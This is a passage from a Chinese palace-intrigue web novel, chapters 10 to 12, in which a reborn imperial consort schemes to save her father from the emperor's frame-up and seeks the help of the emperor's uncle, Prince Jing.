苏嬷嬷看后也有些意外:“怎会如此……这事我们做得隐秘,应不会有人察觉啊,难道只是意外?”
“先别管这些了,快派人去失踪的地方打探一下,看看有没有什么线索,信和人务必都要寻到。”苏寻雁连忙打断她。
苏嬷嬷见她面色苍白,轻声劝道:“娘娘,您别急,老奴这就派人去打探。”
“快去!”
苏寻雁慌乱得不行,脑海里闪过无数念头,却始终寻不到破局之法,思来想去,她决定再写一封。
她快步走到桌案后,拿起毛笔,在纸上快速书写,随即将信密封好,再次交于苏嬷嬷。
“嬷嬷,这次多派几个人手,务必将信送到父亲手中!”
苏嬷嬷应声领命,找了几个办事稳妥的下人将信托付,便匆匆赶回雁鸣宫。
见苏寻雁神色慌张,就忍不住问道:“娘娘为何如此着急,可是将军出了什么事?”
得知信已送出,苏寻雁只觉浑身一松,虚脱地跌坐在木椅上,额头满是冷汗。
本以为一切尽在掌握,谁知又突生变故。
她只盼着这一次信能平安送到,最好能赶在韩屹下令之前,将父亲救下。
苏嬷嬷见她突然软倒,吓了一跳,连忙将她扶到床榻上,安置好了,又给她倒了杯水。
“娘娘,您看上去脸色不太好,可要请御医来看看?”
“不必了,我躺一会儿就好。”
苏嬷嬷眼底闪过不安,只觉自家娘娘是被林婉柔之事刺激了,她默默退出大殿,转身吩咐宫人,“去,让后厨炖一碗鸡汤来。”
此后几日,苏寻雁在宫中坐立难安,只盼着事情能顺利,可天不遂人愿,这日一早,苏夫人就进宫了。
“你父亲几日前接到陛下的诏令,眼下已在回京途中,阿雁,你可知是什么事?”
苏寻雁心头一震,以为自己听错了,再次追问道:“母亲,你方才说什么?”
苏夫人心系丈夫,并未察觉到女儿情绪的异常,直接说道:“陛下几日前下了个诏令,命你父亲回京协查什么案子,你可知晓此事?”
"这……怎么会?父亲,离开军营了?”
苏夫人轻轻点了点头。
苏寻雁感到一阵绝望,难道她如何努力,都改变不了结局吗?
突然感觉眼前一黑,瞬间没了知觉。
“阿雁,阿雁……这是怎么了?”
苏嬷嬷听到声响,急忙推门进来,见此情形,她转身朝外跑。
不多时,苏嬷嬷就领着御医匆匆赶来。
苏夫人正吓得六神无主,见到御医,连忙上前:“御医快给看看,她刚刚还好好的,怎会突然就晕了?”
御医不敢怠慢,朝她轻轻颔首,便上前为苏寻雁诊脉。
苏嬷嬷在旁安慰:“夫人别担心,娘娘身体一向康健,她定会没事的。”
苏夫人双眼紧盯着床榻上昏迷的女儿,既自责又心痛。
御医为苏寻雁施完针,人就渐渐苏醒。
苏夫人连忙凑过去,轻声问道:“阿雁,你感觉怎么样?还有哪里难受吗?”
苏寻雁这时也缓过来了,虚弱地笑了笑:“母亲,我没事,对了,父亲是何时与你说的?”
苏夫人闻言,忙朝苏嬷嬷递了个眼神,苏嬷嬷心领神会的将御医带了出去。
“娘娘还需安心休养,我们出来聊吧。”
待苏嬷嬷与御医离开,苏夫人就忍不住追问:“阿雁,你是不是知道什么?你父亲是昨日传回的消息,到上京还需十几日的路程,你告诉我,到底发生什么了?”
“母亲,我之前与您说过,韩屹他负了我。”她顿了顿,继续说:“他不止负了我,也负了你们……”
苏夫人不可置信地睁大眼,“你是说,韩屹要诬陷你父亲贪墨军饷?这怎么会呢?”
“我猜,他是想借此收回父亲手中的兵权,眼下我们得阻止父亲进京,他离开军营,便已落入韩屹的陷阱之中了,若在回京途中出什么意外,那我们就真的无法转圜了。”
苏夫人听后,满脸不忿:“当初若不是我们苏家扶持,他岂能坐上那至高无上的位置,哦,如今位置坐稳了,竟敢过河拆桥,真是忘恩负义的小人行径!”
“母亲,您先消消气。”
见母亲突然激动,苏寻雁连忙凑过去,伸手轻轻扶着她的胸口,帮她顺气。待苏夫人呼吸逐渐平复,苏寻雁才轻声劝慰。
“既然我们知晓了对方的意图,那不如先下手为强,不过当务之急,还是得先保全父亲,有他在,我们才能翻身。”
说到这里,她脑海就不免浮现出前世经历的种种。
从父亲回京途中被刺身亡,到她被降位份,再到全家流放路上惨死,这一环环,全是冲着她家来的,一旦他们踏入第一个局中,后面的一切就不是他们所能掌控的了。
可有些事,眼下她还不能明说,只能委婉的与母亲点明其中利害。
苏夫人此时也回了神,急急追问女儿,“你想要怎么做,与我说,我去安排。”
“母亲先别急,我们先度过眼前的危机再说其他。”她还不放心地叮嘱:“母亲,回府后,定要盯紧府内众人,若发现什么,一定要告知我。”
“放心,我回去就安排,你父亲那边,我也会派人盯着,别担心。”
苏寻雁露出一抹苦笑,眉眼间满是愁绪,自家的命运究竟会如何,如今还是未知。
出宫前,苏夫人又去寻了御医,万幸的是,苏寻雁身体还算康健,只是近来睡眠不足,导致体虚,调理一段时间便能恢复。
苏夫人听后,心下稍安,转而叮嘱苏嬷嬷:“阿雁的身体,你多上上心,尽快给她调理好。”
苏嬷嬷点头应道:“夫人放心,老奴会盯紧娘娘的。”
送走了苏夫人,苏嬷嬷又折返回来,见苏寻雁独自坐在窗边,就走了过去,一脸担忧:“娘娘,是不是出什么事了?您与夫人的脸色看
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上去都不太好。”
“父亲已经离开军营了,眼下得想办法阻止他,还要派人暗中保护。”
苏嬷嬷一听就知事态紧急,想了想,说道。
“从苏军营地到上京的路总共就四条,我这就派人前去一一排查,定能阻止将军。”
苏寻雁正色道:“不仅要阻止父亲,让他们务必留心周边埋伏。”
“娘娘,是有人要害将军?”
苏嬷嬷震惊地反问,苏寻雁脸色很差,一副不想再说的样子,苏嬷嬷也就识趣地没再问。
苏寻雁此时在想,重生回来这段时日所发生之事。
军饷贪腐案明明还处在调查阶段,韩屹却如前世那样,将父亲秘密召回上京。
是她先前想得简单了,以为自己重生归来,凭着先知优势,就能改变事情走向,如今想来,就算是没有贪腐案,韩屹也会捏造其他事来诬陷父亲。
只靠明面上的那些手段阻止不了他,自己还得找个足以与之抗衡的靠山才行。
可她去哪里找呢?
苏寻雁的思绪很快被殿外的通传声打断,她只得打起精神,前去应付。
自从林婉柔之事发生,韩屹就没再来过雁鸣宫,大概心里也是怨她的。只是不知他今日为何会突然出现。
见苏寻雁站在宫门口迎他,韩屹就笑着走近,牵住她的手,与她一同朝殿内行去。
“这几日政事繁忙,都没能来看你,寻雁可有想我?”
苏寻雁抬眸看向他,语气轻柔:“我自是想念陛下啊,可我也知陛下事多,不便去打扰,眼下事情可都忙完了?”
韩屹心情颇好地揉了揉她的发顶,嘴角露出一抹温和笑意:“暂时处理好了,今夜我便好好陪陪你,林婉柔之事,我还欠你一个解释。”
苏寻雁露出一抹淡笑:“陛下若愿意说,我便洗耳恭听。”
“寻雁何时与我这般生分了?看来是还未原谅我啊。”
这时,一个小太监走了进来,朝二人行礼,“陛下,一切都已安排妥当。”
韩屹随即起身,再次牵起苏寻雁的手,温声道:“走,看我为你准备了什么。”
苏寻雁压下眼底的厌恶,随着韩屹走出殿外。
看着眼前熟悉的场景,她才惊觉,原来一切事件的发生都在提前。
为何会如此?难道与她重生有关?
“寻雁,喜欢吗?”
苏寻雁回神,抬眼望向河面,其上轻轻飘荡的一盏盏莲花灯,场景是如此熟悉又好笑。
“在想什么?”
见她半响不语,韩屹便靠近,轻轻将她揽入怀中。
苏寻雁动作自然地挣脱开,随即回身,轻笑道:“我很喜欢,你是不是还要送我一把古琴?”
韩屹闻言一愣,随即笑着摇了摇头:“定是刘路与你说的吧?这老奴,我再三叮嘱过不要透露,这下可好,一点惊喜都没了。”
苏寻雁笑了笑:“这不就放在亭子里嘛,很明显啊。”
韩屹无奈地叹了口气:“这帮人,做事真的……既然你都发现了,那我也不瞒你了。”说罢,他步入凉亭,将木盒打开,从里面取出一把古琴,放在亭子中间的圆桌之上。
“这可是我寻觅良久才得来的古琴,快看看,喜不喜欢?”
10. 第 10 章
还不等苏寻雁回答,醉花亭的飞檐处,悬挂的六盏七彩宫灯便逐一亮起,景色依旧美,可她却再没有了当初的心境,内心无一丝波澜。
“喜欢,这些我都喜欢。”
苏寻雁敷衍应付道。
“要不要试试音色?”
苏寻雁只随口说道:“既是古琴,当然要沐浴焚香之后再弹奏,岂能随意对待。”
韩屹听后,满意的点了点头说:“寻雁说得很是。”
他随即朝亭外摆了摆手,候在外面的宫人见状,陆续送上菜肴。待宫人退下,韩屹便起身,兴冲冲地为苏寻雁盛汤,夹菜。
面对韩屹的殷勤备至,苏寻雁照单全收,只是再也没有初识那般的悸动。
这大概便是,哀莫大于心死吧。
“寻雁,怎么吃得这么少?是不是菜不合胃口?”
韩屹与她说了许多话,见她都反应平平,与平时简直判若两人,韩屹这才察觉到不对,一脸关切地看着她。
将碗里的最后一块鱼肉咽下,苏寻雁才放下筷子,语气淡淡地回道:“我没事,只是来之前吃了些许糕点。”
韩屹突然倾身凑近,鼻尖轻轻蹭过她的鼻尖,低声笑道:“哦,又贪吃了?该罚!”
苏寻雁下意识地朝后一躲,避开了韩屹接下来的亲密举动。
韩屹也不恼,只含笑起身,坐到苏寻雁身侧的位置,俯身靠近,温热的唇如雨滴般密密麻麻的落在她的脖颈。
每次靠近,苏寻雁身上的独特淡香都令他沉迷。让他不禁想要索取更多……
苏寻雁却暗暗攥紧双手,极力忍耐住心头涌出的反感。
她眼下只想尽快脱身,可这一次没有了林婉柔的搅局,还不知她该如何脱身。
就在她快要忍耐不住时,凉亭外忽然传来一阵由远及近的脚步声,一名侍女在亭外站定,语气恭敬地朝内禀告道。
“陛下,靖王殿下来了,正在崇明殿外候着。”
韩屹不耐烦地起身,缓步走出凉亭。
“靖王?你确定没有看错?”语气带着几分质疑。
宫女慌忙垂下头,小声道:“是刘大监让奴婢来禀告陛下的,应是不会看错。”
一听靖王来了,韩屹瞬间歇了心思。
“寻雁,我还有事,得先走一步了,明晚我去雁鸣宫,你再为我抚琴。”
苏寻雁稍稍放下来的心,又因这句话提了起来。她面上露出一抹故作轻松的笑意,微微颔首道:“好,陛下快去忙吧,我在宫里等你。”
韩屹走了几步,又折返回来,俯身抱住她,片刻之后,才依依不舍地离开。
苏寻雁眼底没有一丝笑意,韩屹走后,她又在凉亭独自坐了会儿,才往回走。
这次没有林婉柔来搅局,却又来了个靖王,看来有些事虽然改变了,却又不是完全改变,结果相同,只是过程有些许的不同。
若真是如此,那父亲岂不是……不,不能再想了!
苏寻雁不自觉地加快脚步,直到走回雁鸣宫,她紧绷的神经才稍稍放松。
“苏嬷嬷,父亲那边可有传来消息?人找到了吗?还有,送信之人有没有找到?”
说起这个,苏嬷嬷就有些愧疚地摇了摇头。
“还没有消息传回,娘娘先别急,出发前,我已经嘱咐他们,若寻不到人,就不要回来。”
苏寻雁闭了闭眼,再睁开时,眼神已经恢复平静。
"对了,你们可知道靖王?"
苏嬷嬷与知秋对视了一眼,苏嬷嬷先道:“当然知道啊,他是陛下的皇叔,太上皇还在世时,最喜爱这个小儿子。他虽常年驻守边关,在朝中却颇具威望,还手握十万大军,论作战能力,可不必将军逊色。”
知秋连忙补充:“传闻这位靖王一心铺在军营里,至今未娶,大家私下都传他喜好特殊呢。”说到这里,她就忍不住先捂嘴笑了。
苏寻雁听到这里,露出了今晚的第一个笑容:“哦,你们知道的还真不少,那陛下与这位靖王的关系如何?”
知秋摇头说不知,苏嬷嬷却颇为老道的分析道。
“陛下与这位皇叔,关系定然好不了,娘娘你想啊,这靖王在朝中有威望,手中又握有大军,陛下能不忌惮吗?”
苏寻雁思索了片刻,随即与苏嬷嬷道:“派人去前殿打探一下,最好能打探出这位靖王此次回京的目的。”
苏嬷嬷连忙吩咐下去。
这位靖王即是皇室贵胄,又执掌兵权,按理说,他的威胁应远超父亲,可韩屹却不动他,可见此人手腕之高,连君王都对他心生忌惮。
若父亲的兵权被收回,韩屹手中就算有了筹码,靖王就会成为他下一个目标。这点,她倒是可以利用一下。
之前朝中就有大臣提议,由靖王做军饷案的主理,若靖王真的能做上此案的主理,那父亲就有救了。
很快,小锤子打探回来,急急向苏鸣雁禀告。
“娘娘,前殿的宫人都被打发走了,只几个侍卫在外值守,奴才远远看了眼,不敢靠得太近,也听不清里面说了什么,不过有争执声传出来,想来他们谈得并不顺利。”
苏寻雁露出一抹玩味的笑,只要韩屹还忌惮这位皇叔,那她就有机会破局。
正在她跃跃欲试之时,突然想起韩屹今日的话,连忙又唤来苏嬷嬷:“嬷嬷,你可知林婉柔如今在哪?”
苏嬷嬷被问地一脸茫然:“啊?娘娘怎会问起她?”
“韩屹说明晚要来,最好能找个事情将他拖住……”
苏寻雁眼底闪过一抹恨意。
苏嬷嬷没留意到她眼神里的异常,她心下纳闷,娘娘平时恨不得时刻与陛下黏在一起,怎的突然就变了?想来想去,只有一个可能。
“娘娘,您与陛下,又闹矛盾了?”
苏寻雁无奈地叹了口气,缓缓地说出实情:“其实我对他,早已死心,若是可以,也不想与他再有什么亲密接触。
说到这里,她的眼神逐渐放空,语气极轻,“若能寻到林婉柔,便能暂时转移他的视线,与我而言,也算是种解脱。”
不等苏嬷嬷反应,苏寻雁又叮嘱道:“对了,若寻到她,你再安排一个郎中,林婉柔该是有身孕了。”
不想苏嬷嬷听了这话,顿时红了眼眶,心疼地一把将她揽入怀中,语气哽咽。
“真是苦了娘娘了啊,您受了如此大的委屈,怎么也不与老奴说呢?老奴虽帮不上什么忙,可说出来,心里也能舒服些啊!”
苏寻雁顺势回抱住她,轻声安慰道:“嬷嬷,这些都过去了,我已经放下了,你也不要再难过。”
“好”。苏嬷嬷松开怀抱,擦了擦脸上的泪,一脸赞同地点了点头:“这样也好,就让他们彼此折磨去。”
“嗯。”
不知为何,她突然觉得有些感伤,连忙背过身,从袖中取出巾帕,悄悄擦掉脸上的泪。
苏嬷嬷办事牢靠,不消半日,便准确找到林婉柔落脚的地方。
“娘娘所料不差,那林婉柔果然已有身孕,郎中诊出喜脉时,我看她脸色很是淡定,看样子是早就知晓。”
苏寻雁随即追问:“嗯,可将此事透漏给韩屹?”
苏嬷嬷笑着颔首:“娘娘放心,已经办妥了,陛下今日天不亮就离
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宫了,想来,晚上他是无法来雁鸣宫了。”
“好。”
苏寻雁露出一抹安心的笑容。
果然,韩屹一整日都未曾回宫,只在傍晚时,派了一名侍女与她说:“陛下临时有事,无法前来,特派奴婢来告知娘娘一声。
苏寻雁听后,在心里冷哼,‘什么有事,还不是去陪林婉柔了,也就自己前世傻,才看不出他这般虚伪的嘴脸。’
话虽如此,她眼下还是要做好这个宠妃。
她故作难过地轻叹一声,眼里满是心疼:“陛下这般勤勉,实在让人心疼,你们可得多多上心,务必劝陛下好生歇息,按时用膳啊。”
宫女轻声道是,又朝她福了福身,便告退出去。
待人离开,苏嬷嬷又凑了过来,笑着说:“娘娘,这下您可以安心歇息了。”
苏寻雁闻言,也露出一抹轻松的笑意。苏嬷嬷见了,也为她感到高兴。
这一夜难得好眠,可惜她的这份好心情没能持续多久。
她才刚刚睡醒,知秋就匆忙跑了进来,向苏寻雁急急禀告道:“娘娘,府里今早来了消息,说是在西京的一条小路上,发现了将军的随身佩剑,人却不知所踪。”
苏寻雁心头一紧,低声喃喃:“他还是动手了。”
她猛地从床上坐起,一脸焦急地看着知秋:“附近可还有其他发现?可有看清袭击之人?”
知秋先是摇了摇头,随即又补充道:“只有一人逃了回来,可他当时并不在场,不清楚具体发生了什么,他说待他赶到时,地上只留有一把佩剑,附近还有些打斗的痕迹,说对方人数不少。”
知秋说完,小心地看了一眼自家娘娘。
苏寻雁急得红了眼眶,起身就朝外走,却被迎面赶来的苏嬷嬷给拦住了。
“娘娘,我知您心里着急,可这事急不得啊,您先冷静一下,眼下没消息便是最好的消息。”
听到这句话,苏寻雁总算恢复了几分清明,无意识地应道:“对对,嬷嬷说得对,父亲他一定不会有事的。”
与前世相比,如今的结果已经很好了,起码不是直接传回父亲的死讯。
见人劝住了,苏嬷嬷总算放下心来,转头,看了眼桌上那些冒着热气的饭食,又转回来,继续劝道:“娘娘,早膳都已经备好,您多少用些吧,吃了饭,才有力气去应付啊。”
苏寻雁起身走至桌边,勉强喝下一碗粥,便摇头说不吃了。
苏嬷嬷见她如此,又是心疼地不行,却又不知该如何劝她。
这时,苏寻雁不知想到了什么,眼神突然亮起,转眸看向苏嬷嬷:“对了,靖王此刻可还在宫中?”
“嗯,应是在的,娘娘,难道是想要见他?”
苏嬷嬷有些迟疑。苏寻雁却眼神坚定地点了点头。
先前她还在犹豫,觉得此举有些冒险,可眼下父亲下落不明,她不能再下去等了!
苏嬷嬷沉吟了片刻,压低声音劝道:“以您的身份,一举一动有多少双眼睛盯着呢,即便是要见,您也不可贸然前去,还需从长计议啊。”
“嬷嬷的顾虑我都知晓,可眼下情况危急,我也顾不得这些了。”
苏嬷嬷眼底闪过一抹忧虑,还想再劝,抬眼就瞥见了知秋的身影,连忙止住了话茬。
知秋缓步走进殿内,朝苏寻雁躬身行礼,随即轻声禀告道:“娘娘,陛下刚刚差人来传话,说是稍后会在崇华殿内设宴,招待靖王殿下,特邀您一同出席。”
苏寻雁闻言,眼眸瞬间亮起,转身与苏嬷嬷对视一眼,轻笑道:“嬷嬷,这下不必再为此忧心了,你看,得来全不费工夫。”
11. 第 11 章
既是宴请,出席之人自是少不了,她刚好可以利用这次机会,去会会那位靖王。为了确保万一,还需做两手准备。
她目光随即转向知秋,“我记得崇华殿有我们的人?”
知秋点头:“是,可那就是负责外院洒扫的小宫女,若是打探消息的话,恐怕不行。”
“嗯,足够了,待会想办法将她安排到前殿,让她见机行事。”
知秋一脸懵懂地应下,虽不理解娘娘要做甚么,却还是默默去安排。
出席这样正式的场合,自是要盛装打扮一番,苏嬷嬷连忙唤来几名宫女,为苏寻雁梳妆描红。
先前她苦于无法破局,早没了装扮自己的心思。此刻有了成算,心情也就随之恢复,也有心思好好挑选衣裙了。
她手指抚过一排排衣裙,却又有些举棋不定,身旁的知秋见状,轻声提议。
“娘娘,这身烟青色的衣裙很是素雅,正好衬您。”
话音未落,苏嬷嬷就摇头。
“不好,这件太过素净,依老奴看,还是这件朱红色,最显娘娘的气质。”
苏寻雁笑着打断二人:“你们挑的都不合适。”说着,她又拿起一件妃红色罗裙,"我就选这件了。"
刚梳妆完毕,韩屹派来的小太监便候在殿外,轻声催促:“贵妃娘娘,陛下催您快些。”
苏嬷嬷有些不放心,临走时,又凑到苏寻雁耳边,小声叮嘱她。
“娘娘,如若不行,咱们再另想他法,切勿冒险啊!”
苏寻雁无奈地笑道:“好,我心中有数,嬷嬷放心。”
她沿着廊道缓缓往前,此时阳光正好,柔和的光线斜斜照在一棵棵金黄银杏上。
每一片叶子都照得轮廓分明,看上去光彩夺目,久了竟不禁让人心头涌起一股暖流。
小太监在旁等了半天,终是按捺不住,出声提醒。
“贵妃娘娘,陛下还在殿内等着您过去呢。”
苏寻雁这才收回目光,抬脚继续朝前走。
远远地便望见一道挺拔的身影立于殿外,待她走进,那人便转过身,嘴角荡开一抹清浅的笑意。
“等了你好一会儿,怎么才来?是不是又选不定衣裙了?”
苏寻雁轻哼一声:“我才没有,是这院内的景致太好,一时失了神。”
“好,先进去吧。”
韩屹轻笑着点头,朝她伸出手,苏寻雁动作自然地将手放到他的掌心,二人并肩向殿内走去。
“皇叔,这是朕的贵妃,苏寻雁。”
说罢,韩屹目光又转向身旁的苏寻雁,介绍道:“寻雁,这是朕的皇叔,他常年驻守边关,你应是没见过吧?”
苏寻雁朝对方福了福身,轻声道:“见过皇叔。”
“娘娘不必客气。”韩元修朝她拱手回礼,沉声道:“本王与娘娘并非初见,娘娘可还记得?”
苏寻雁怔了怔,抬眸望去,眼底闪过一抹讶然。
虽说这位皇叔是太上皇的小儿子,却没想到他竟如此年轻,看上去不过比韩屹年长几岁。
他此时逆光立在廊下,微光将他俊逸的五官显露无疑,眼底似有柔光闪过,可当两人的目光相触时,一股冷意随之袭来,对方眼底的那抹柔光,仿佛只是她的错觉。
他似感叹:“看来是忘了。”
韩屹却勾起了兴趣,笑着问道。
“皇叔是何时见过寻雁,朕怎么不知?”
韩元修没看他,只语气淡淡地垂眸:“不重要了。”
见他不愿说,韩屹也没再追问,只是招呼他进殿一同用膳。
苏寻雁跟随二人走进内殿,看着空无一人的厅堂,有些讶然。
韩屹竟只宴请了靖王一人,看来她得启用第二个办法了。
待几人落座,韩屹便缓缓开口。
“说起来,我与皇叔也是许久未见,也不知皇叔的口味变了没有?”
韩元修从容的夹起鳝鱼段,品尝过后,便放下筷子,沉声回道。
“还是幼时的味道,陛下,有心了。”
“看来是合胃口啊。”
韩屹笑了笑:“朕以为皇叔久居边关,已吃不惯上京的这些珍馐了呢。”
韩元修目光微沉,‘啪’的一声,搁下筷子。
“即是家乡味,相隔再久也会铭记,反倒是陛下,久居深宫,怕是早已忘记边关将士们的艰难处境。”
气氛瞬间冷凝,韩屹淡淡地撇了他一眼,随即夹起一块鳝鱼,放到苏寻雁面前的瓷碗中。
与她说:“这道,是皇叔幼时爱吃的,寻雁,你也尝尝看。”
苏寻雁目光落在碗里的鳝鱼段上,没说什么,端起碗,默默地吃了下去。
韩屹却不想就此放过她,见她吃了,便又逼近一步,追问:“味道如何?”
话音刚落,苏寻雁便察觉有一道视线投来,她转眸望去,恰好与坐在下首的韩元修四目相对。
她顿时觉得尴尬,只微微颔首说了句:“不错。”便端起桌上的茶碗,垂眸抿了一口。
韩屹这才满意地笑了:“看来这菜做得不错,该赏!”
说罢,他转头吩咐:“传令下去,今日御膳房当值之人,皆赏赐三个月月俸。”
侍候在旁的宫人闻言,连忙躬身领命,默默退了出去。
韩屹又执起桌上的酒壶,缓缓起身,走至下首。
“朕与皇叔多年未见,正该多饮几杯才是,来,皇叔,朕敬你!”
说着,他便为韩元修斟满一杯,又举起自己的酒杯,用眼神示意对方。
谁知,韩元修却并不赏光,只起身拱手,语气疏离。
“臣此番回京只为祭祖,不宜饮酒,陛下见谅!”
韩屹眼底掠过一抹杀意,语气骤然转冷:“呵,皇叔竟是一点面子都不给朕啊?”
韩元修从容落座,垂眸继续吃着碗里的鱼,直至盘中最后一块鱼肉用尽,他才再度起身。
“酒足饭饱,方才臣对军饷贪腐案的提议,陛下以为如何?”
苏寻雁下意识的屏住呼吸,目光看向对峙的二人。
韩屹冷哼一声,语气已明显透着不悦。
“皇叔对贪腐案如此上心,莫非,其中牵涉到您的什么亲眷?”
韩元修却不卑不亢的答道。
“臣从军多年,深知军饷之紧要,对于此等贪墨之徒,更是深恶痛绝,眼下唯有早日捉到主谋,才能稳定军心,这亦是给边关将士们最好的交代。”
韩屹脸色随即一沉,半响不语。
韩元修却并未在意,他立于下首,耐心等着他来下决定。
韩屹压下眼底的厌恶之色,再抬眸时,眼底又浮现出笑意。
“朕先前便说过,此案已交由两部门共同审理,皇叔不必再为此操心,眼下祭祖的事最为紧要。”
韩元修面无表情地拱手,随即头也不回地转身离开。
苏寻雁顿时松了一口气。
这靖王果然手段不凡,自韩屹登基后,还是第一次见他生这么大的气。
突然‘啪’的一声脆响,苏寻雁惊得转过头。
原是韩屹气不过,将手中酒杯狠狠摔到地上。
不知怎
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得,她突然觉得这一幕很好笑,终于有人让韩屹吃一回瘪,这感觉,还真是不错。
宫人们闻声赶来,迅速收拾起地上的残骸。
大概是觉得如此有失体面,韩屹轻咳了几声,便若无其事地说。
“皇叔他脾气素来如此,寻雁,不必在意。”
苏寻雁收敛起眼底的笑意,轻轻摇头,语气柔和。
“不会,我反而觉得,皇叔很有胆魄,倒是陛下,可不要因此气坏了龙体啊。”
说罢,她倒了一碗茶,放到韩屹面前。
“陛下,先喝口茶,消消气。”
韩屹突然凑近,见她神色如常,语气就带着几分不满。
“皇叔方才如此对朕,寻雁却并不在乎,还对他印象不错?”
苏寻雁顺势靠在他的肩上,语气里带着几分埋怨。
“陛下这是在质疑我的真心?我心里自始至终装的只有陛下,你竟如此想我,未免太让人寒心了。”
韩屹听着她轻柔地话语,心情顿时转好,轻轻吻上苏寻雁地侧脸,低声道。
“今晚在此留宿吧。”
说罢,他吻上苏寻雁的唇,手掌撑住她的后脑,就要加深这个吻,苏寻雁却忍不住,轻轻推了他一下。
韩屹茫然地抬起头,苏寻雁却状似无意地问道。
“关于林婉柔之事,你就没什么想与我说的?”
岂料,韩屹此刻带着情绪,并不顺着她的话往下说,反而不悦地看向她。
“怎么,想拒绝我?”
说罢,他霸道的将她抱入怀中,俯身狠狠地吻了上去。
苏寻雁起初还在暗自忍耐,随着对方的力道越来越重,她终是忍不住伸出手,推了韩屹一把。
可男女力量的悬殊,令她无论怎么挣扎,也挣脱不开对方的怀抱。
她只得小声求饶:“屹郎,不要这样。”
韩屹随即停下动作,垂眸看她。
见苏寻雁那亲花的唇脂和微红的眼眶时,才觉满意。
紧接着,他再度俯身,将她抱紧:“今日,可有吓到你?”
苏寻雁轻轻地摇头,韩屹伸手抚了抚她的发顶,沉声道。
“今夜就先算了,日后,不许再拒绝朕。”
苏寻雁轻轻点头:“好,那我先回去了。”
怕他待会再发疯,苏寻雁一刻也不敢多待,站起身,便径直走出崇明殿。
从殿内出来,她连忙从袖中取出巾帕,仔细擦拭嘴角,却感觉怎么也擦不干净,只能加快脚步往回走。
“贵妃娘娘。”
几名路过的宫人见到她,忙停下手中的活计,躬身行礼。
苏寻雁却只觉得难堪,她用巾帕遮面,就这么一路匆匆回到雁鸣宫。
苏嬷嬷早早让知秋等在门口,见到苏寻雁的身影,她便转身进去,将苏嬷嬷唤了出来。
不一会儿,二人便一同迎了上去。
“娘娘,您可算回来了,怎么去了这么久,事情可还顺利?”
苏寻雁却一言不发地朝里走,眼神还透出几分疲惫。
苏嬷嬷见她如此,心下一紧,连忙跟上去,将她扶到床榻上坐下。
知秋也很有眼力劲地打来热水,为她擦拭嘴角,清洗面部。
苏嬷嬷随即又端来茶水,喝下热茶,苏寻雁才觉得缓过来。
见二人一脸焦急地望着她,苏寻雁轻笑了一声说。
“我无事,你们不必如此紧张,事情还算顺利。”
苏嬷嬷一听她这话,才算放心:“明日会面,就让老奴陪您一同去吧。”
12. 第 12 章
苏寻雁想也没想便答应了,苏嬷嬷这下更觉安心。
“娘娘,您早些歇息,我们先退下了。”
说罢,便与知秋退出了房间。
而她躺到榻上,脑海里不免回想起,今日大殿内发生的种种,真可谓惊险万分。
好在,今日那小宫女还算机灵,趁二人对峙之时,将纸条偷偷塞到韩元修的酒杯之下。
当时那情形,她看了都替对方感到紧张。
那小宫女却异常淡定,除了她,没人察觉。
如此,也算是与靖王搭上线了,可对方究竟肯不肯帮忙,依然是未知。
这么想着,一阵睡意袭来,苏寻雁缓缓闭上眼。
以为自己很快能入睡,不成想,因着明日的会面,她心中忐忑又期待,竟很快没了睡意。
就这么辗转反侧,直到天光微亮之时,才有了一丝睡意。
苏嬷嬷进来,见她还在熟睡,觉得意外,连忙轻声唤道。
“娘娘,时辰不早,该起了。”
苏寻雁迷迷糊糊地睁开眼,说了句,“不行,再让我睡会儿。”便又睡了过去。
“娘娘这是怎么了?”
知秋有些担心,苏嬷嬷示意她离开,二人退出房间,苏嬷嬷才说。
“娘娘昨日应是没睡好,正好白日无事,让她多睡会儿吧。”
“那靖王那边?”
苏嬷嬷连忙朝她做了个噤声的手势。
“瞎说什么呢,别以为在这雁鸣宫内,你就能无所顾忌,小心隔墙有耳。”
知秋点头称是,苏嬷嬷又说:“离约定时辰还早,无妨。”
她以为苏寻雁只是睡个回笼觉,哪成想,都快到约定时辰了,人还没醒。
她无法,只得再度进去,将她唤醒。
“娘娘,这次真的该起了,不然要来不及梳妆了。”
苏寻雁睡眼惺忪,缓了缓,才懒懒地坐起身,“嬷嬷,什么时辰了?”
“哎呀娘娘,都末时初了,咱们快些准备吧!”
苏嬷嬷急得不行,连忙唤来宫女为她梳妆打扮。
“就穿那身素净衣裙,也不必戴这些珠钗,简单自然些就好。”
苏寻雁坐在梳妆台前,对着铜镜照了照,随即吩咐:“妆容也要淡一些。”
苏嬷嬷端着托盘走进来,打断几人:“娘娘,先别急着上妆,来,多少吃一些。”
话音刚落,苏寻雁的肚子就应景地‘咕噜’一声,几人闻声,都忍不住掩唇轻笑。
这一番忙碌,二人总算赶在约定时辰前,到了御花园。
苏嬷嬷一路边走边望,下意识地寻找着靖王的身影,可四下静悄悄的,竟是连一个人影也不见。
“娘娘,约定的地点是这吗?怎么这附近一个人影都没有啊?”
苏寻雁也跟着看了看,随即笑道:“地点没错,不急,是咱们到早了,还不到时辰呢。”
两人走到不远处的凉亭中坐下,安心等着对方到来。
时间慢慢流走,约定之人却始终未曾出现。
苏嬷嬷有些坐不住了,又忍不住开口。
“娘娘,你说,会不是是靖王找错了地方?”
苏寻雁无奈地笑了:“嬷嬷,快打住吧,人家自小在宫中长大,怎会找错地儿?除非,他根本就没想来。”
“这……再怎么说,也该露个面才是啊?”苏嬷嬷愈发焦急。
正说着,一名宫人缓步走到凉亭外,朝苏寻雁躬身行礼。
“娘娘,殿下因筹备祭祀事宜,无法前来,特命奴才将此物交予您,说是您一看便知。”
说罢,他从怀中取出一个用红绸包裹的物什,苏嬷嬷连忙上前接过,放到亭中的桌子上。
又轻叹道:“看来,靖王是拒绝咱们了。”
苏寻雁心头划过一丝愁绪,目光又落到那红绸物什上,她耐心剥开外层的包裹,露出里面的檀木盒子。
苏嬷嬷顿时觉得古怪。
“这,怎么还有一层,里面到底是什么?”
苏寻雁眼底闪过一丝狐疑,随即打开木盒。
待看清盒中之物,她瞳孔猛地一缩,下意识地用手捂住嘴,将翻涌而出的情绪死死压住。
苏嬷嬷被她的反应惊着了,连忙追问:“娘娘,到底是什么?”
说着,她凑到石桌前,只一眼,就让她震惊不已。
“这,这不是娘娘您的贴身玉佩吗?怎,怎会……”
苏寻雁猛地回身抱住她,语气哽咽:“父亲没事,嬷嬷,父亲他没事了!”
“将军他,没事了?”
苏嬷嬷这才反应过来,眼眶跟着就红了:“将军没事,那可真是太好了啊,谢天谢地!”
苏嬷嬷说着就跪地叩拜,嘴里还念念有词地说着。
“感谢上苍庇佑,感谢上苍的庇佑啊!”
